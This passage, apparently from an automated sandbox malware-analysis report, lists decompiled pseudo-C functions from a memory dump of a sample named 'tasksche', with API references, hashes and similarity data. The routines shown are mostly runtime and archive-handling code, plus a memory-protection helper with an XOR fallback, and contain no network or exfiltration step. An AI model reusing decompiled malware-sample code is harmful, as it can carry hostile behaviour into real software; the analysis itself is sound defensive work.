							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00424fd8
0x00424fdf
0x00424ff6
0x00000000
0x00424fe6
0x00424fe8
0x00425002
0x00425007
0x0042500a
0x0042500d
0x00425036
0x0042503d
0x0042503f
0x004250c0
0x004250db
0x004250dd
0x0042501d
0x0042501d
0x00425020
0x00425022
0x00425025
0x00425025
0x00425025
0x00425025
0x00000000
0x0042502b
0x0042509f
0x0042509f
0x004250a4
0x004250aa
0x004250ad
0x004250af
0x004250b2
0x004250b2
0x004250b2
0x004250b2
0x00000000
0x004250b6
0x00425041
0x00425044
0x0042504a
0x0042504d
0x00425074
0x00425077
0x0042507d
0x00000000
0x00000000
0x0042507f
0x00425082
0x00000000
0x00000000
0x00425084
0x00425084
0x0042508a
0x0042508d
0x00424ffb
0x00424ffb
0x00425096
0x00000000
0x00425096
0x0042504f
0x00425052
0x00000000
0x00000000
0x00425056
0x00425067
0x0042506d
0x0042506f
0x00425072
0x00000000
0x00000000
0x00000000
0x00425072
0x0042500f
0x00425012
0x00425014
0x0042501a
0x0042501a
0x00000000
0x00424fea
0x00424fea
0x00424fef
0x00424ff3
0x00424ff3
0x00000000
0x00424fef
0x00424fe8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00425002
__isleadbyte_l.LIBCMT ref: 00425036
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,?,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 00425067
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,00000001,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 004250D5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction ID: 432046cfce088e341913eb2016d1b5e66f5b1b0e2666f0ac1bd271c546b36d2c
Opcode Fuzzy Hash: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction Fuzzy Hash: C831D131B00265EFDB20DF64EC809BA7BA0EF41310F5685AAE4618B2D1D735D981DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

0x0041309d
0x004130a1
0x004130a3
0x004130a9
0x004130af
0x004130bf
0x004130c6
0x004130cd
0x004130e0
0x004130e8
0x004130ea
0x004130ea
0x004130f1
0x004130f2
0x004130f7
0x004130f9
0x00413111
0x00413102
0x00413102
0x00413103
0x0041310a
0x0041310c
0x0041310d
0x0041310f
0x0041310f
0x0041310f
0x00413110
0x00413110
0x00413110
0x00413120
0x00413133
0x0041313c
0x00413145

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 00411072 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00411072(void* __ecx, void* __edx, void* __edi) {
				void* __ebx;
				intOrPtr _t11;
				intOrPtr _t12;
				long* _t15;
				intOrPtr _t16;
				long* _t23;
				void* _t26;
				intOrPtr _t31;
				void* _t32;

				_t27 = __edi;
				_t26 = __edx;
				E0041A4DC(E004297F9, _t32);
				_push(__ecx);
				EnterCriticalSection(0x44f590);
				_t11 =  *0x44f588; // 0x0
				 *0x44f588 =  *0x44f588 + 1;
				_t35 = _t11;
				if(_t11 == 0) {
					_push(0x1b8);
					_t15 = E0041A89A(0x44f590, _t26, __edi, _t35);
					 *((intOrPtr*)(_t32 - 0x10)) = _t15;
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E00410F29(_t15, 0x20);
					}
					 *(_t32 - 4) =  *(_t32 - 4) | 0xffffffff;
					 *0x44f584 = _t16;
				}
				_t38 =  *0x44f588 - 1;
				if( *0x44f588 <= 1) {
					LeaveCriticalSection(0x44f590);
					_t12 =  *0x44f584; // 0x23511f0
				} else {
					_push(0x1b8);
					_t23 = E0041A89A(0x44f590, _t26, _t27, _t38);
					 *((intOrPtr*)(_t32 - 0x10)) = _t23;
					 *(_t32 - 4) = 1;
					if(_t23 == 0) {
						_t31 = 0;
						__eflags = 0;
					} else {
						_t31 = E00410F29(_t23, 0x20);
					}
					LeaveCriticalSection(0x44f590);
					_t12 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t12;
			}

0x00411072
0x00411072
0x00411077
0x0041107c
0x00411085
0x0041108b
0x00411090
0x0041109b
0x0041109d
0x0041109f
0x004110a0
0x004110a6
0x004110a9
0x004110af
0x004110bc
0x004110bc
0x004110b1
0x004110b5
0x004110b5
0x004110be
0x004110c2
0x004110c2
0x004110c7
0x004110ce
0x00411100
0x00411106
0x004110d0
0x004110d0
0x004110d7
0x004110d9
0x004110dc
0x004110e5
0x004110f2
0x004110f2
0x004110e7
0x004110ee
0x004110ee
0x004110f5
0x004110fb
0x004110fb
0x00411110
0x00411118

APIs

__EH_prolog.LIBCMT ref: 00411077
EnterCriticalSection.KERNEL32(0044F590,?,?,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?), ref: 00411085
LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 004110F5

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 00411100

Part of subcall function 00410F29: InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
Part of subcall function 00410F29: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
Part of subcall function 00410F29: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore_malloc
String ID:
API String ID: 1405584564-0
Opcode ID: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction ID: 491e5497db774d6ab3e78c5f78b9db4af1dc916e288055147b814ae628d52a75
Opcode Fuzzy Hash: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction Fuzzy Hash: 1A118234A01321EBD724AF74AC457EABBA4AB0C355F10453BE902E3692DBBC89D1865D

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00423333
0x00423339
0x004233ac
0x00000000
0x00423340
0x00423340
0x00423343
0x0042335e
0x00423361
0x00423381
0x00423393
0x00423363
0x00423363
0x00423366
0x00000000
0x00423368
0x0042337a
0x0042337a
0x00423366
0x004233b1
0x004233b5
0x00423345
0x0042335d
0x0042335d
0x00423343

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A8F(void* __ecx, intOrPtr _a4) {
				short _v4612;
				long _t11;
				int _t14;
				signed int _t16;

				E0041AAF0(0x1200);
				E0040BC16( &_v4612, 0x900, E0040C3BF(0x83), _a4);
				_t11 = GetLastError();
				_t14 = MessageBoxW( *0x441840,  &_v4612, E0040C3BF(0x96), 0x35);
				SetLastError(_t11);
				return _t16 & 0xffffff00 | _t14 == 0x00000004;
			}

0x00411a97
0x00411ab8
0x00411ac0
0x00411ae2
0x00411aef
0x00411afa

APIs

Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C410
Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C422

_swprintf.LIBCMT ref: 00411AB8

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

GetLastError.KERNEL32(?), ref: 00411AC0
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411AE2
SetLastError.KERNEL32(00000000), ref: 00411AEF

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction ID: 7f3341f69499fe42e6dffd8e50f304e55c87ac1a4f55305a7eb793650ce5b90b
Opcode Fuzzy Hash: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction Fuzzy Hash: 74F02732140114ABF71137E08C4AECA379CFB087C5F000277FA01F21A2EA79996487BD

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				_t13 =  *0x430da4; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x00422326
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00409DF7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00409DF7(intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				char _v4100;
				char _v8196;
				short _t35;
				signed int _t38;
				short _t48;
				short _t50;
				short _t55;
				short _t56;
				signed int _t61;
				intOrPtr _t63;
				unsigned int _t66;
				signed int _t67;
				void* _t68;
				signed int _t69;

				E0041AAF0(0x2000);
				_t63 = _a4;
				_t66 = _a12;
				_t67 = _t66 & 0x0000ffff;
				_a12 = _t66 >> 0x0000001f & 0x00000001;
				if(_t67 == 0) {
					L25:
					_t63 = E0040A5DB(__eflags, _t63);
					_t68 = E0040A5DB(__eflags, _a8);
					_t35 = E00411E81(__eflags, L"__rar_", _t68, 6);
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						return 0;
					}
					_push(_a12);
					_push(_t68);
					__eflags = _t67 - 2;
					if(_t67 != 2) {
						L17:
						_push(_t63);
						return E00409CD1();
					}
					_push(_t63);
					_t38 = E00409C8B();
					asm("sbb eax, eax");
					return  ~_t38 + 1;
				}
				_t69 = E0041A7AF(_t63);
				if(_t67 == 2 || _t67 == 3 || E00409CAC(_t63, _a8, _t69, _a12) != 0) {
					L8:
					__eflags = _t67 - 1;
					if(_t67 != 1) {
						E0040A7AE(_t63,  &_v4100, 0x800);
						E0040A7AE(_a8,  &_v8196, 0x800);
						__eflags = _t67 - 2;
						if(_t67 == 2) {
							L12:
							_t48 = E00409C8B( &_v4100,  &_v8196, _a12);
							__eflags = _t48;
							if(_t48 != 0) {
								goto L9;
							}
							L13:
							__eflags = _t67 - 4;
							if(_t67 == 4) {
								L15:
								_t50 = E0040A0A4( &_v4100);
								__eflags = _t50;
								if(_t50 == 0) {
									__eflags = _t67 - 4;
									if(_t67 == 4) {
										L22:
										__eflags = _v4100;
										if(__eflags == 0) {
											goto L25;
										}
										_t55 = E00409CAC( &_v4100,  &_v8196, E0041A7AF( &_v4100), _a12);
										L24:
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										}
										goto L25;
									}
									_t56 = E0040A0A4(_t63);
									__eflags = _t56;
									if(_t56 != 0) {
										goto L22;
									}
									_t55 = E00409C8B( &_v4100,  &_v8196, _a12);
									goto L24;
								}
								_push(_a12);
								_push(_a8);
								goto L17;
							}
							__eflags = _t67 - 5;
							if(__eflags != 0) {
								goto L25;
							}
							goto L15;
						}
						__eflags = _t67 - 3;
						if(_t67 != 3) {
							goto L13;
						}
						goto L12;
					}
					goto L9;
				} else {
					_t61 =  *(_a8 + _t69 * 2) & 0x0000ffff;
					if(_t61 == 0x5c || _t61 == 0x2f || _t61 == 0) {
						return 1;
					} else {
						goto L8;
					}
				}
			}

0x00409dff
0x00409e05
0x00409e0a
0x00409e14
0x00409e1a
0x00409e1d
0x00409f41
0x00409f4a
0x00409f53
0x00409f5b
0x00409f60
0x00409f62
0x00409e68
0x00000000
0x00409e68
0x00409f68
0x00409f6b
0x00409f6c
0x00409f6f
0x00409ed7
0x00409ed7
0x00000000
0x00409ed8
0x00409f75
0x00409f76
0x00409f7d
0x00000000
0x00409f7f
0x00409e2a
0x00409e2f
0x00409e63
0x00409e63
0x00409e66
0x00409e7a
0x00409e8a
0x00409e8f
0x00409e92
0x00409e99
0x00409eaa
0x00409eaf
0x00409eb1
0x00000000
0x00000000
0x00409eb3
0x00409eb3
0x00409eb6
0x00409ec1
0x00409ec8
0x00409ecd
0x00409ecf
0x00409ee4
0x00409ee7
0x00409f0b
0x00409f0b
0x00409f13
0x00000000
0x00000000
0x00409f34
0x00409f39
0x00409f39
0x00409f3b
0x00000000
0x00000000
0x00000000
0x00409f3b
0x00409eea
0x00409eef
0x00409ef1
0x00000000
0x00000000
0x00409f04
0x00000000
0x00409f04
0x00409ed1
0x00409ed4
0x00000000
0x00409ed4
0x00409eb8
0x00409ebb
0x00000000
0x00000000
0x00000000
0x00409ebb
0x00409e94
0x00409e97
0x00000000
0x00000000
0x00000000
0x00409e97
0x00000000
0x00409e47
0x00409e4a
0x00409e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e52

APIs

_wcslen.LIBCMT ref: 00409E24
_wcslen.LIBCMT ref: 00409F1F

Strings

__rar_, xrefs: 00409F56

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction ID: 2f22db44ea277558b4e0ddbd7bf004989f9b0852302f55cc0e1d63be076b661c
Opcode Fuzzy Hash: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction Fuzzy Hash: 2E41A176A0021966DF21AA65CC81BEF336DAF54384F08087BF905B31D3D63DCD9187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040CEF5(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t10;
				long _t11;
				intOrPtr* _t22;
				void* _t23;
				signed int _t30;
				void* _t32;
				signed int _t33;
				intOrPtr _t35;

				_t35 =  *0x438808; // 0x0
				if(_t35 == 0) {
					E0040CEB6(0x438800);
				}
				_t33 = _a8;
				_t10 = _t33 - (_t33 & 0x0000000f);
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t22 =  *0x43880c; // 0x0
					if(_t22 == 0) {
						goto L10;
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					_t22 =  *0x438808; // 0x0
					if(_t22 == 0) {
						L10:
						_t11 = GetCurrentProcessId();
						_t23 = 0;
						if(_t33 > 0) {
							_t32 = _t11 + 0x4b;
							do {
								_t11 = _a4 + _t23;
								 *_t11 =  *_t11 ^ _t32 + _t23;
								_t23 = _t23 + 1;
							} while (_t23 < _t33);
						}
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x4335ac);
							E00401000(E00406423(_t22));
							return E00406371(0x4335ac, 2);
						}
					}
				}
				return _t11;
			}

0x0040cefc
0x0040cf02
0x0040cf09
0x0040cf09
0x0040cf0e
0x0040cf1a
0x0040cf1f
0x0040cf25
0x0040cf60
0x0040cf68
0x00000000
0x0040cf6a
0x0040cf6f
0x0040cf73
0x0040cf75
0x00000000
0x0040cf75
0x0040cf73
0x0040cf27
0x0040cf27
0x0040cf2f
0x0040cf7c
0x0040cf7c
0x0040cf82
0x0040cf86
0x0040cf8a
0x0040cf8d
0x0040cf90
0x0040cf96
0x0040cf98
0x0040cf99
0x0040cf8d
0x0040cf31
0x0040cf36
0x0040cf3a
0x0040cf3c
0x0040cf41
0x0040cf46
0x0040cf50
0x00000000
0x0040cf59
0x0040cf3a
0x0040cf2f
0x0040cfa0

APIs

Part of subcall function 0040CEB6: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CF7C

Strings

CryptProtectMemory failed, xrefs: 0040CF3C
CryptUnprotectMemory failed, xrefs: 0040CF75

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

